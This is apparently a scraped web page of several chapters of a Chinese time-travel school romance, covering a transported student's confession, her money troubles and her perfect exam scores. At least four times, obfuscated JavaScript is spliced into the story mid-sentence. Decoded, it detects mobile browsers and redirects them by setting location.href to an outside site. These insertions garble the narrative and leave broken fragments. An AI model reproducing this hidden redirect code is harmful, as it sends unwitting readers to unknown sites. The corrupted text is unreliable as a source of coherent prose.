邻桌的同学双目无神:“如果你知道我每天早读都要准时拉稀,你也会同情我的。” 沈安宴不解:“你们不能出去吗?” 贺晴天看起来更不解:“怎么出去……” 她大概想歪了对方的意思,震撼道:“同桌啊,逃学不可取,咱们好歹也是一班人,明面上的校规还是要遵守一下的。” 沈安宴沉默了一下。 九年前的高中生这么可怜吗。她原来的学校,只要在门卫处录入信息,休息时间随时可以出入校门的,只要不迟到就好。 5. 鸢尾 “隔壁班今天早上好热闹啊。” “我去,他们班是今天有什么活动吗,我刚去看了一眼,人手一份早点,咱们学校食堂什么出那些吃的了?” “好像是来了个走读生,专门给他们在外边儿买的饭。” “羡慕了,咱们班能不能也来一个散饭童子啊……” 一班和二班的教室正对着,彼此间无论发生什么事,另一个班很快就能知道。 在一片嘈嘈切切的议论声中,李欣然大概是唯一一个不为所动的人了。 她看起来心情很好,一改昨天手机被没收的苦闷,惹得同桌奇怪地看了她好几眼。 顾辞江显然也注意到了,他好奇多问了一句:“你手机被还回来了?” 李欣然闻言脸上的笑容越发灿烂,她回过头,眉飞色舞地解释道:“对!我才知道昨天那个同学是好心。当时主任就在走廊上,看到咱们拿手机了,那个同学才过来假装没收的。昨天晚自习下她就过来找我把手机还回来了!” 她说完又扬了扬手上的包子,喜滋滋道:“我今天早上来教室还遇见她了,她知道我没来得及买早饭,还送了我一份。梅菜馅的,可好吃了!” 同桌闻言冷嘲道:“你有点儿出息行不,一个包子,两块钱都不到,就能把你给乐成这样。” 这话李欣然就不爱听了,她故意咬了一大口包子,得意洋洋道:“哎,真香,比学校食堂做的好吃多了。有些人就是吃不着包子说包子酸!” 顾辞江忍不住笑出了声。 同桌愤愤地哼了一声,低头早读去了。 ———— 姜老师一进门,就听见齐刷刷的一声响,大家默契地把手放进了桌兜里,只是空气中的饭香依旧无法被“毁尸灭迹”。 这位小老太太还有什么不明白的。她扶了扶鼻梁上的眼睛,缓缓扫视一圈班里,笑着说:“这是咱们教室吗,我还以为走错到阳光农场了。” 大家见班主任还有闲心开玩笑,也眯着眼睛配合地笑了起来。 姜老师摆摆手,笑着道:“行了,别藏着掖着了,要吃快点吃,等会儿铃声打了可就没时间了。” 贺晴天高兴地欢呼了一声:“爱你老班!” 其他同学也跟着夸起了班主任,同时放心地拿出早点,一个个津津有味地吃了起来。 沈安宴在来时的路上已经吃过了,此时就坐在位置上翻看课本。明天有一场开学考,她虽然对成绩不太在意,但也不希望自己第一次考试就排名垫底。 她大学选修的是天文专业,高数是必修课程,每年又有开设有相关的公共课,大学英语她学得也不错。因此现在只需要突击历史和地理这两门。 邻桌注意到她的动静,忍不住咂舌道:“开学第一天你都能学得进去啊?” 沈安宴道:“随便看看,反正又没有别的事做。” 邻桌佩服地点点头,没再多说什么了。 今天课上没有讲什么新内容,老师们也知道大家心思还没彻底收回来,加上第二天又有考试,要么就让大家自习,要么抽查了一下假期的作业。 一班毕竟是文科班的头部班级,大家的自制力还是有的。早读的懒散劲儿过后,班上人大都慢慢进入了学习的状态。 贺晴天有自己的一套复习方案,她没闷头看课本,而是翻出了套卷刷题练手感。 她速度很快,几乎半个小时就能刷完一套卷子。休息的间隙,贺晴天就会忍不住偷偷看几眼同桌。 这个年纪的学生,对美丑其实并不敏感。毕竟只要有精神气,少年人看起来都是闪闪发光的。 不过沈安宴是个例外。 她的确是长得非常出挑的那一类人,身上又有种特别的气质,总是令人不由自主地就会把视线放在她的身上。 这么想着,贺晴天和对方聊天时,忍不住就把自己的想法说了出来。 沈安宴听后很自然地解释道:“那正常,我今年已经十九了。” 贺晴天蒙了一下,不可思议地凑近了对方。 “十九?这么……咳,我是说,你看起来还挺显年轻的。” 沈安宴莞尔:“我又没比你们大多少岁,看外表肯定没什么太大的区别啊。” 前桌正复习复得崩溃,听到有话题能聊立刻转过身来,加入了后面两人的谈话。 “你竟然已经成年了吗?那岂不是没有游戏时长限制了,也太幸福了吧!” 沈安宴:……其实她现在还没钱买手机呢。 邻桌也过来凑热闹:“那你去过酒吧吗?怎么样?好不好玩?” 沈安宴道:“去过几次,不过都是陪我表姐去的,没什么意思,后来就没去过了。” 前桌发出了羡慕的感叹声:“我也好想去,我还要点男模!” 沈安宴:“……这种事还是等你成年了再说吧!” 大概是她们这边儿的说话声有些大,讲台上的老师提示性地咳了几声。 贺晴天忙比了个“嘘”的手势,大家又各回各位,继续投入到复习中去了。 ———— 一天的课程结束后,晚自习开始前,大家按照惯例提前布置起了考场。 沈安宴的座位在前排,也被划分到了需要把座位挪出去的范围。 前桌提前收拾好了自己的东西,等大家开始布置考场时,主动过来帮忙搬走了沈安宴的桌椅。 沈安宴道:“我自己来也可以……” 前桌道:“哎,你看你这小身板,不适合做这种体力活儿,交给我就行了。” 她一边说,还一边挽起了自己的袖子,向对方展示了一下自己手臂上的肌肉。 沈安宴对比了一下自己和前桌差不多的身高与体型,在前桌搬着桌子离开后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198042|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了半天也没想明白对方到底是怎么得出自己“小身板”的结论的。 走廊上乱糟糟的,各个班级都在忙活着搬桌子搬椅子。沈安宴想了想,溜去了隔壁班找人。 顾辞江也站在走廊上,身前放着他的桌椅。楼道里堵得不可开交,大家脸上或多或少都带了点儿烦躁的神色。顾辞江倒是没一点儿不耐烦,他安安静静地随着人流向前移动,偶尔有同班人路过向他打招呼,他也会礼貌性地回以一个点头,除此外便没有再多的动作了。 沈安宴走到了对方身前。 顾辞江一个不注意,顶在桌子前的座椅就被人抽走了。他抬头看去,就见到了一张熟悉的面孔。 是那个昨天从他手上拿走了手机的同学,今天又再次出人意料地拿走了他的椅子。 顾辞江:“同学,这好像是我的……” 沈安宴很理直气壮地点了点头:“我知道,我帮你拿着,不行吗?” 顾辞江还是头一次见着帮忙能帮出一副打劫架势的人,就算不同意也得同意了。 沈安宴推着椅子,跟在对方身边一起随着人流向前走。 周围的杂音很大,她便往对方跟前凑了凑,出声询问道:“你还记得我吗?” 顾辞江道:“记得,昨天晚自习来我们班上的同学。” 沈安宴“嗯”了一声。 顾辞江左等右等,发现对方问完这一个问题后就不说话了。离学校指定放东西的位置还有一段距离,顾辞江只得主动起了话头。 首先自然是交换名字,沈安宴说了自己的名字后,顾辞江还没来得及介绍自己,就听见对面补充道:“我知道你的名字,顾辞江,对吧?” 顾辞江问道:“你认识我?” 沈安宴又“嗯”了一声。 见对面又不说话了,顾辞江认命地叹了口气,接着问道:“我们之前见过吗?我好像有点没印象了。” 这样出挑的人,他过去要是见过,肯定不会轻易忘掉的。 这个问题有点难答,总不能说我是你未来的恋人吧? 沈安宴想了想,忽然起了一点促狭的心思。 “你当然没印象……” 她又往对方身边凑了凑。 顾辞江的身体忽然僵了一下。 太近了。 周围拥挤的人群好像一瞬间消失了,喧闹声似乎也随之远去,顾辞江只能听到对方清浅的呼吸声。 ———— 的确很近。 沈安宴垂下眼眸。 她闻到了熟悉的味道,是鸢尾花的香气。 轻盈,素雅,是顾辞江身上独有的气息。两人确定关系后,每次她心情不好,都喜欢抱住对方,埋入这片紫色幻梦般的花香。 沈安宴轻轻笑了。 “因为我喜欢你。” “我暗恋你很久了,顾同学。” 6. 考试 顾辞江接下来两个晚自习都是浑浑噩噩渡过去的。 任谁被这么猝不及防地表了白,大概都会有点蒙。 自沈安宴说完那句石破天惊的话后,即便是在社交方面一向如鱼得水的顾辞江,一时间也不知道该怎么应付下来。 好在沈安宴也没有要继续再说些什么的意思。顾辞江也就装成了个哑巴,和对方默契地走完了剩下来的路。他甚至连声招呼都跟对方打,放完东西就快步走回了教室。 ……这是什么新的整蛊方式吗? 顾辞江想。 比如考试前跟死对头表白,扰乱对方军心奇袭制胜,夺得第一? 顾辞江头疼地捂着脑袋,一想到方才的事,面前的课本都要看不下去了。 沈安宴这边倒是复习得顺溜。贺晴天的座位没有搬出去,她在对方旁边加了把椅子,坐下来蹭同桌的卷子一块儿复习了。 贺晴天顺口问道:“你没带卷子吗?” 沈安宴实话实说:“家里穷,买不起这些。” 贺晴天显然没信,她乐道:“凿壁偷光,挺有好学精神的嘛!” 前桌林跃也凑了过来,朝沈安宴调侃道:“不厚道啊小宴同学,我帮你搬东西,结果你转头又帮人家校草拿椅子去了,见色忘友啊!” 沈安宴道:“顾辞江是校草啊?” 林跃:“大家私底下随便封的,他是年纪第一,认识他的人比较多,长得又确实好看,这个荣誉称号就给他了。” 邻桌同学听了不乐意,纠正道:“年纪第一什么时候成他的代称了,咱们文科班的第一不一直是晴天和二班那个轮流拿的吗?” “据不完全统计,高一开学以来总共举行过十三次正式考试,二班姓顾的得过六次第一,晴姐得过七次。目前看来晴姐获胜!”后桌戴眼镜的姑娘摇头晃脑地说道。 贺晴天听得好笑:“不是,你们这么闲啊,连这都记上了?” 邻桌道:“这怎么是闲,这可是咱们文科头部两个班的荣誉较量!这次你可一定要拿下第一,别被二班那个给反超了!” 高中生对自己能得多少名不在乎,但对第一名花落谁家倒是在意得紧。 沈安宴听完全程,忽然高深莫测地一点头。 “我觉得,这个问题你们以后不用再担心了。” 周围几人齐齐看向了她。 沈安宴指了指自己,露出了一个灿烂的笑容。 “因为,从今往后,北海一中的第一名,来了!” 众人:…… 碍于对方帮带早餐的情谊,大家不好说什么太难听的话。 林跃“呵呵”了两声:“要我给你端盘儿花生米来吗?” ———— 开学考的座位没有按照排名,而是打乱顺序随机排成的序号。 沈安宴第一个进了考场。外面的走廊上还堆着不少学生,正争分夺秒地临时抱佛脚,入耳尽是一片郎朗的古诗词诵读声。 没过多久,就有第二个人进来了。 沈安宴感觉到有人在往自己的方向走,抬头朝前方看了一眼。 是顾辞江。 对方明显也愣了一下,大概没想到能这么巧。他低头确认了一遍自己的座位号,最终在沈安宴前面的座位坐下了。 沈安宴主动招呼道:“顾同学,早上好,考试要加油啊!” 顾辞江:“……你也是。” 大概是因为昨晚的事,对方对她的态度并不热情。 沈安宴也不恼。她撑着下巴,看了一会儿前桌的背影,又朝其它座位看了看打发时间。 尺子、签字笔、橡皮、涂卡笔…… 等等?涂卡笔? 沈安宴忽然睁大了眼睛,转头看向了自己的桌子。 只有孤零零的两根签字笔。 这真不能怪她。大学的考试太水了,实在让养成了轻松备考的习惯,再者除了英语考试,其它学科带俩签字笔就绰绰有余了。 同学们陆陆续续地进来了。眼看着距离开考只剩下十五分钟,她人生地不熟的,想在短时间内找到贺晴天她们也够呛。 监考老师已经把答题卡发了下来,从前往后传,很快顾辞江就转身把答题纸放在了她的桌上。 沈安宴低声道了句谢。 答题卡已经放好了,但对方却没有转回去。 顾辞江看了一眼后桌那堪称敷衍的答题工具,似乎想说什么,但最后还是闭嘴了。 只是在下一次传试卷时,随着卷子被一起递过来的,还有一根涂卡笔和一只橡皮。 上午有两门考试,第一场是语文,第二场是数学,中间的休息时间只有十五分钟,刚够大家上个厕所。 沈安宴答得挺顺手,语文她很久没碰了,就按着自己的理解,以及记忆中残存的答题格式把空格填满了。 数学于她而言都是常规的题目,写完后还剩了半个小时,她也不想出提前交卷的风头,检查过一遍没有错漏后,就安安静静地坐在位置上等待下考。 周围同学的神色看起来颇为凝重,卷子的翻阅声和叹气声此起彼伏,惹得监考老师提醒了好几次保持安静。 终于挨到了下考,卷子刚收上去,考场瞬间鬼哭狼嚎一片。 “什么破玩意啊,这是人写的东西吗?” “最后那道题我愣是看都没看明白……” “这次卷子铁定超纲了吧,圆锥曲线是高二下才会学的内容吧?” …… 沈安宴在一片混乱中拍了拍前桌的肩,将对方借给她的文具还了回去。 “谢谢。”她笑着说道。 “你去吃午饭吗,一起?”离开考场前,沈安宴主动邀请道。 顾辞江试图拒绝:“我比较习惯一个人……” 沈安宴垂下眼眸,可怜巴巴地叹道:“是吗?我刚来学校,初来乍到的,一个人都不认识。看来今天午饭大概只能一个人吃了。” 顾辞江:“……走吧,一起。” 中午的休息时间只有一个小时,两人又都不是挑食的人,就去了人最少的窗口,随便打了点饭应付。 他们到的早,食堂还有很多空位,两人找了靠门的位置坐下。 沈安宴吃饭速度快,顾辞江还没吃几口,对面的盘子已经空了一半。 他忍不住提醒:“吃太快对身体不好。” 沈安宴解释:“因为不好吃,吃快点就尝不到味道了。” 顾辞江被对方这番歪理邪说打败了。 不过他的话应该还是起了作用,之后沈安宴的速度的确放慢了一些。 可新的问题又出现了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198043|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 顾辞江抬起头,正好对上了沈安宴看过来的视线。 他忍不住问道:“我脸上沾了什么东西吗?” 沈安宴道:“看你长得好看。” 顾辞江:……这让人怎么接啊。 沈安宴轻轻笑了笑。 未来的顾辞江,和她认识的时候已经有二十四岁了。对方在商圈初露锋芒,待人处事周到又有分寸,和她相处时也是包容的态度居多,沈安宴极少能看到对方这样青涩不成熟的一面。 这让她感觉很有意思,总是按捺不住想要逗一逗对方的心思。 周围人渐渐多了起来。一道熟悉的声音在耳旁响起。 “我去,咱们就迟了一步,食堂就没位置了?” 沈安宴抬头看去,发现说话的是两个熟人,林跃和李欣然。 对面两人看到她,也惊喜地挥了挥手。 “哎,太好了,盛宴,你旁边有人坐吗?” 沈安宴没有立刻回答,而是将问询的目光投向顾辞江:“你方便吗?” 顾辞江巴不得多来几个人打破这奇怪的氛围,自然没有意见。 于是林跃和李欣然顺利地落了座。 “你们今天上午考得怎么样?” 李欣然坐下后和两人打了招呼,就开始吐槽起试题。 “开学考有必要整这么难吗?数学我都不稀得说它了,语文也跟着一块儿发癫。我真是整不明白下水沟里的奶牛和田园牧歌式题材有什么联系?它别让我写奶牛了吧,我就是奶牛,哞哞哞——” 林跃本来见沈安宴和顾辞江一桌吃饭还想打趣一下,结果也被李欣然这一番苦水勾起了伤心事,一时连开玩笑的心情都没有,也跟着骂了起来。 “还有那个作文,直接弄一套文言文上来,还不给翻译!怎么,生怕我偏不了题是吧!” “垃圾卷子。”李欣然愤愤地骂道。 “死爹的出题人。”林跃怨念十足地附和着。 沈安宴看着身旁生龙活虎的二人,不由得有些感慨,真不愧是年轻人,就是有活力啊。 午饭就这么在对考试的一片骂声中结束了,四人结伴回了教学楼。 下午连着考了英语和地理,晚自习则是历史和政治。 沈安宴已经很久没有这样高强度地考过试了,晚饭甚至都没有精力去吃,而是爬在桌子上休息顺带补充体力。 还是顾辞江吃完晚饭,顺便给对方带了面包回来,才不至于让沈安宴饿着肚子考接下来两场试。 英语沈安宴答得挺顺,剩下三门只能说尽力了,毕竟上大学后她已经有两年没碰过这些科目了。 兵荒马乱的开学考结束后,大家各回各班把桌椅恢复原位,沈安宴注意到周围人几乎都是一水儿的生不如死的表情。 林跃坐下来后还做了个祷告的手势,自我安慰道:“无事无事,考试嘛,三分天注定,七分靠打拼,剩下九十分靠老师捞。” 沈安宴:…… 贺晴天看着倒是没那么沮丧,沈安宴问道:“你考得怎么样?” 贺晴天道:“还成,能拿的分都能拿上,这次题是很难,就算考不好也代表不了什么,反正以后的考试还多着呢。” 林跃闻言转过身来,眼神里带着幽怨:“老贺,你其实不用说最后一句的。” 7. 奔波 沈安宴今天出门,遇到了一桩不太妙的事情。 下楼必经的楼梯口立着一个人,对方体格粗壮,头发上贴着三四个卷发筒,穿一身大红碎花衫,看起来分外盛气凌人。 正是沈安宴的房东。 房东大姐专门挑了周六这个点儿来堵对方,此时见面便撂下刚抽一半的烟,走到了沈安宴跟前。 “小姑娘,我也不想说太难听的话,知道你一个人不容易,房租我已经宽限你三个月了。大姐也不是做慈善的,你一时手头紧拿不出来钱咱也能体谅,拖上几个月没问题,但我看你现在这是真打算赖着了啊?” 房东大姐毫不客气地说完了来意,下达了最后通牒:“你自己看着办吧,要么今天之内把这三个月欠的钱跟下个月的房租交齐,要么就滚蛋。算我自己倒霉,你前三个月的租子赖就赖了吧。” 沈安宴何曾遇见过这样的窘境,她从小到大都没缺钱花过,这还是头一回被人当成了老赖,一时间只恨不能找个地缝钻进去。 天地良心,她真没想过要赖房东的钱。别人家穿越都有什么系统外挂金手指,结果她穿越不仅把自己最大的挂总裁亲姐给穿没了,还得了一屁股的债务。这几天沈安宴也在努力找赚钱的法子,奈何原身这个情况实在棘手,她总不能去偷去抢,实在找不到能短时间内赚大钱的法子。 沈安宴自知理亏,诚恳地向房东大姐赔礼道:“我绝对不会不给钱的,您放心。” 房东大姐显然没信,但面对一个才成年的孩子也没辙,因此只是不耐烦地挥了挥手就转身离开了。 送走了房东大姐,沈安宴一时发起了愁。穿越前她家里也是赫赫有名的豪门显贵,可家里的生意一向是姐姐在管,她对此一窍不通,走做生意这条路是行不通的。 走特长?她的特长是天文和画画,于赚钱这方面也没多大用处。 沈安宴思来想去,又到大街上逛了一圈,这个年代的墙上到处都张贴着招聘求职的小广告,沈安宴一个个看过去,什么“专业修马桶”、“热辣弟弟等你来”、“壮阳秘方”等等应有尽有。 可惜她既不是热辣弟弟,也不会修马桶,更不需要壮阳,这些东西于她而言也没什么赚钱的大用就是了。 正在心里默默吐槽时,沈安宴眸光一转,就看到了墙角张贴的两个小广告。 一个是“高价回收二手货”,另一个是“诚心招聘私人家教”。 这两个小广告到底诚不诚心另说,但的确给沈安宴提供了新思路。 这时候不比未来,对学生私下补课打击得没有那么严厉,沈安宴其它不好说,但上学时候的成绩还是很拿得出手的,不论文科理科都不在话下,走家教这条路子似乎可行? 还有那个高价回收二手货,也让沈安宴灵光一现。 她火速回了租房,将自己刚穿越过来时身上的衣服找了出来。 她怎么忘了这个! 沈安宴家境不错,平时身上穿的戴的都是名牌货,如果拿出去卖掉也是一大笔钱。 衣服什么的想卖掉有点儿难,但她来时手上戴了只玉镯子,应该能值些钱。 她拿了东西,高高兴兴地出门去找收二手货的店铺了。 店老板接了玉镯,细细看了一番,又偷摸打量了对面这个看起来年纪不大的少年一眼,试探地开了口:“五万怎么样?” 沈安宴本来也没指望能靠一个首饰发家,只想快点儿把欠的房租还掉。看价钱够还,还能剩一点儿,便点点头答应了。 店老板心中一喜,知道自己这是遇见冤大头了,忙一手交钱,一手交货,把这场意外来财谈了下来。 交完了欠下的房租,又将这个月和下个月的租子提前交清,还剩了四万多,沈安宴无债一身轻,高高兴兴地去找当家教的路子了。 房东大姐也没想到对方能这么快凑齐钱,问清了沈安宴交的钱是靠卖东西得来的,方才放心地挥挥手让对方离开了。 直接找路边的小广告应聘肯定是不成的,沈安宴找了家网吧上网查了查,选定了一家广受好评且比较权威的中介,去那里填写了资料报名。 陆陆续续干完了这些事,周末就这么过了大半。沈安宴也没精力再出去玩,剩下的时间都瘫在了租房里休息。 ———— 学校里就没这个清闲了。开学考结束,任课老师都加班加点地在办公室里批阅卷子。 陈愿一边批改学生们的数学卷子一边冷笑连连。她下手相当狠,并不为学生们的惨淡成绩所动容。能扣的分绝对不漏,可扣可不扣的一律按最多的扣,就是勉勉强强答上来了,也要扣两分儿卷面分。 又改完了一份卷子,不出所料,也是堪堪擦过及格线。陈愿拿过了下一份试卷,同时朝邻桌的同事吐槽道:“看看这一个个的,放个假魂儿都放没了,答得跟梦游似的。” 姜老师推了推鼻梁上的老花眼镜,闻言乐呵呵地笑道:“挺好,刚开学嘛,给他们都紧紧皮。” 她戳了戳手上的答题卡,笑骂道:“你那还好,数学嘛,丁是丁卯是卯的。我就遭老罪了,瞧瞧这些兔崽子写的,狗屁不通的玩意儿。” 老姜是个文化人,平时就算发起火来也是文质彬彬的,但改卷子着实费肝,让这向来和善的老太太都骂起了人。 隔壁班主任王美心也加入了谈话,她改卷速度极快,和数学陈老师一脉相承的扣分狠。不一会儿几张卷子就在她手下批完了,分数也都得的零零散散。 王老师道:“是嘛,放个暑假,一个个都玩儿美了,学的东西也丢没了。拿个不及格一个个儿就老实了。” 陈老师咂舌:“你真给不及格啊?” 她虽然扣分扣得也狠,但及格好歹还是会捞一下的。 王老师正在算笔下卷子的得分,一看整好是六十,又回过去硬是找到两分扣了,凑成了个五十八。 “要给这些兔崽子紧皮当然得紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198044|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结实了,你给他们捞个六十,他们还沾沾自喜觉得一个暑假没学都能考及格,自己真有实力。” 陈老师听了这话颇觉有道理,也回过头把那几份刚过及格线的试卷改成不及格了。 政治老师没吭声,他是年轻人,不太认可这些老教师的理念,给分给的都挺高的。 英语老师忍不住插嘴道:“就是嘛,我这边儿也一样。哎,不过我刚刚改了份儿卷子,竟然是满分,看来还是有同学假期认真学了的。” 王美心闻言翻了个白眼儿。 陈老师心大,听到这话接了一句:“那不错啊,文科班英语是强项嘛。我的数学就没这么的苗子了。” 她感慨着改了下一份卷子,手上快过脑子,一连打了四个对钩后,陈愿才反应过来,这还是她目前遇见的第一份填空题全对的卷子。 要知道,填空最后一题向来是卷子里最难的题目,能做对的寥寥可数。她也给学生们说过,最后一题只需要扫一眼,没思路就跳过,放到最后再做。 更何况这次的卷子她本来就为了让学生们收心出得偏难。陈愿稍微有些意外,又改起了下面的题目。 对,对,对,还是对的。 陈愿眼睛越来越亮。 直到最后一道大题改完,她心中涌起一阵雀跃,九十分是没问题了,就看选择题能得多少。 她按捺住激动的心情,朝选择题的得分栏看去。 正如她所期待的那样,也是全对! 满分! 姜鹤注意到了邻桌的情况,好奇地问道:“怎么了,瞧把你给高兴的。改到了一个高分卷子?” 陈愿脸上是掩饰不住的笑容:“哎,真是说什么来什么,我这儿也得了张满分的卷子。” 这下连王美心也诧异地看了过来:“满分?我可听说了,这次的数学出得挺难吧?我们班那一群崽子考完鬼哭狼嚎的。” 陈愿喜道:“我也说呢,能有个上一百三的我就知足了。真是没想到。” 姜鹤忍不住问道:“你能看出来是哪个学生吗?” 政治老师笑道:“那还用说,我猜要么是贺晴天,要么就是顾辞江。” 答题卡的姓名栏被密封着,陈愿二话不说,拿起尺子就把密封条翘起来偷看。 王美心忙道:“哎哎哎,你这是做什么?也不急在这一时。” 陈愿笑道:“这有什么,又不是高考……哟,我看见了,小齐你猜错喽,这个学生名字是两个字儿的。” 王美心被勾起了好奇心,问道:“两个字儿,哎,姜老,我怎么不记得咱们两个班有这个学生?” 姜老师心里大概有谱了,她笑着说:“你忘了,我们班这个学期不是刚转来一个新学生?” 陈愿道:“噢,我想起来了,就说这名儿怎么这么眼生呢,原来是她!” 她将密封条重新压平,笑着公布了这位满分同学的名字。 “盛宴。” 9. 日常 陈愿没浪费太多课堂时间,发卷子和夸两个得意门生加起来只用了十五分钟不到。该紧的皮紧完,她就火速进入了讲评卷子的环节。 贺晴天说得不错,陈老师讲课讲的是真的好。速度适中,条理清晰,深入浅出,举一反三,还会根据大家的反馈随时调整自己的节奏。 早上第一节课向来是最容易犯困的课,但沈安宴注意到周围人基本都听得很认真,偶尔有几个犯困的,要么会喝一口水,要么就把自己的脸揉几下,如果还是不行,就拿着卷子站到后边听课。反正总要逼着自己清醒过来。 沈安宴虽然考了满分,但也跟着大家一起认真听了,还把老师的板书工工整整地抄写在了卷子上。 下课铃声一响,陈老师正好讲完选填部分和前两道大题。她叹了口气,有点遗憾地说道:“还剩三道……” 前排同学道:“没事儿老师,你继续讲。” 陈老师笑道:“不了不了,不耽搁你们休息时间。好了,同学们下课吧。” 这话一出,大家呼啦一下松快了,大部分人都趴在桌子上补觉,剩下的要么去接水,要么去上厕所。 有同学小声道:“老师,不如你干脆把下节历史课占了吧?” 陈老师眉毛一竖:“胡说什么,我连体育课都不占。再说了,历史是正课,哪儿能不好好上呢!” 那同学哀声叹了口气:“老师,你不懂……” 正说着,有人从教室门口冲进来了,一边跑口里一边还念叨着:“你们想不想知道我们班刚刚为什么喊——” 来人正是江小松,她这回没卖关子,直接宣布道:“小宴!你英语也是满分!吊爆了啊!” 大家有数学满分的冲击在前,对此已经没那么惊讶了。贺晴天咳嗽一声,林跃则使劲冲对方挤眉弄眼。 江小松没得到预期的反应有些疑惑,见状奇怪道:“你们这是做什么……” “江小松。”陈老师语气平平地喊道。 江小松一个激灵,讪讪地转过身去。 陈愿笑眯眯地问道:“你看起来挺闲啊?” 江小松试图狡辩:“老师,我不闲的,我还想着要去订正数学卷子呢……” 陈愿道:“噢?是吗?那挺巧,刚好你们班下节课是我的课,你来我办公室改吧。” 江小松耷拉着脑袋,被陈老师拎走了。走之前还冲身后几人露出了一个痛不欲生的表情。 林跃几人默默憋笑。 第二节历史课,沈安宴总算知道大家对这门课讳莫如深的原因了。 整整一节课,老师就灌了这么一节课的心灵鸡汤。从放假为什么没有抓住弯道超车的机会,到新学期新计划新展望,沈安宴听得差点儿睡着。 旁边的贺晴天已经相当熟练地将历史书摊开摆在最显眼的位置,又把上节课讲的数学卷子藏在课本底下,拿出活页纸订正顺带整理笔记。 沈安宴悄悄环视一圈,发现周围人差不多都是这么做的,只是做的事情有所区别,有的是在复习新课,有的是在写其它科目的作业。 下了课,沈安宴忍不住问道:“他……历史老师一直是这样的吗?” 贺晴天撇撇嘴:“可不是嘛,四十分钟的课,他能这样扯闲扯上三十分钟。” 邻桌同学也加入了吐槽:“我至今都想不明白秦始皇修长城是怎么和咱们学校足球运动会扯上关系的。” 沈安宴困惑道:“咱们学校不管吗?” 按理说,这样不负责的老师,搁到后面的班级也就算了。她们班是头部班,怎么也不至于这样吧。 林跃耸耸肩:“估计有关系呗。而且历史讲不讲都一个样,反正自学也能学懂。文科嘛,再怎么考也不至于差得离谱,咱们学校就睁一只眼闭一只眼喽。” 沈安宴不懂,但她的确大受震撼。 ———— 中午大课间休息时,顾辞江被叫到办公室拿答题卡。 王美心是两个班的地理老师,兼任二班的班主任。她和其他老师不一样,不喜欢等到上课再发卷子,总是批阅完后就及时发下去,方便学生提前纠错。 顾辞江是是这门科目的课代表,王老师把整理好的答题纸交给对方,嘱咐道:“两个班的答题卡都在这儿,你帮忙把一班的给他们班课代表。” 顾辞江点点头,应了声好。 “哎,对了。”王美心忽然想到什么,叫住了准备离开的顾辞江。 “你到一班的时候,顺便把他们班的盛宴叫过来。” 顾辞江没有多问,示意自己知道了就走出了办公室。 关门的时候,里面有几句话隐约传了出来。 听声音应该是姜老师在问话。 “怎么突然叫她……” “说一下学习上的事……” “那孩子家里情况有点特殊,你别太严了……” 顾辞江没多耽搁,很快关好了门。 只是他心里有些疑惑,家里情况特殊?她们说的是盛宴吗? 他先回班上把答题卡发了下去,又拿着剩下的卷子去了一班,给课代表送完后,他环视一圈,很快找到了坐在前排的沈安宴。 对方正趴在桌子上睡觉,露出的半张脸看起来平和安宁,又带着点冷清,在学生堆里非常惹眼。 顾辞江走过去,轻轻拍了拍她的肩膀。 沈安宴睡得有点迷糊,半睁开眼后发现对面是顾辞江。她一时间没反应过来,很自然地拉住了对方的手,放在脸边亲昵地蹭了蹭。 “再睡一会儿。”她轻声说。 林跃正好转身想找后桌借东西,好巧不巧就看到了这一幕。她瞪大了眼睛,不可思议地看看沈安宴,又看看顾辞江,忙小声说道:“我我我……我什么都没看见,你们继续,你们继续。” 她一边说一边从座位上站起溜出了教室,很有不当电灯泡的自觉。 顾辞江有口难言。 他下意识把手从对方手心里抽了出来,好在这次沈安宴正在睡觉,握的力度不大,他成功将手抽了出来。 手心有点发烫,顾辞江的手指微微蜷缩了一下。 沈安宴这下子终于清醒了,她看了一下周围,总算缓过来现在是九年前,不是她原来的时间。 她朝顾辞江笑了笑,温声致歉道:“刚刚睡糊涂了,不好意思。” 顾辞江垂下眼眸,错开了对方看过了的视线。 睡糊涂了……然后就拉他的手吗? “……没事,王老师有事找你。” 沈安宴点了点头,多问了一句:“王老师是哪个老师?” 她笑着解释道:“我刚来,对任课老师还不熟悉。” 顾辞江道:“就是地理老师,她的办公位在你们班主任对面。” 沈安宴道了声谢,起身去办公室了。 ———— “进。” 沈安宴刚敲门,里面很快就有人应声。 她推门走了进去。 不用她找,王老师一见对方就招了招手,提醒道:“在这儿,过来吧。” “知道我找你来是为什么吗?”王美心问道。 沈安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 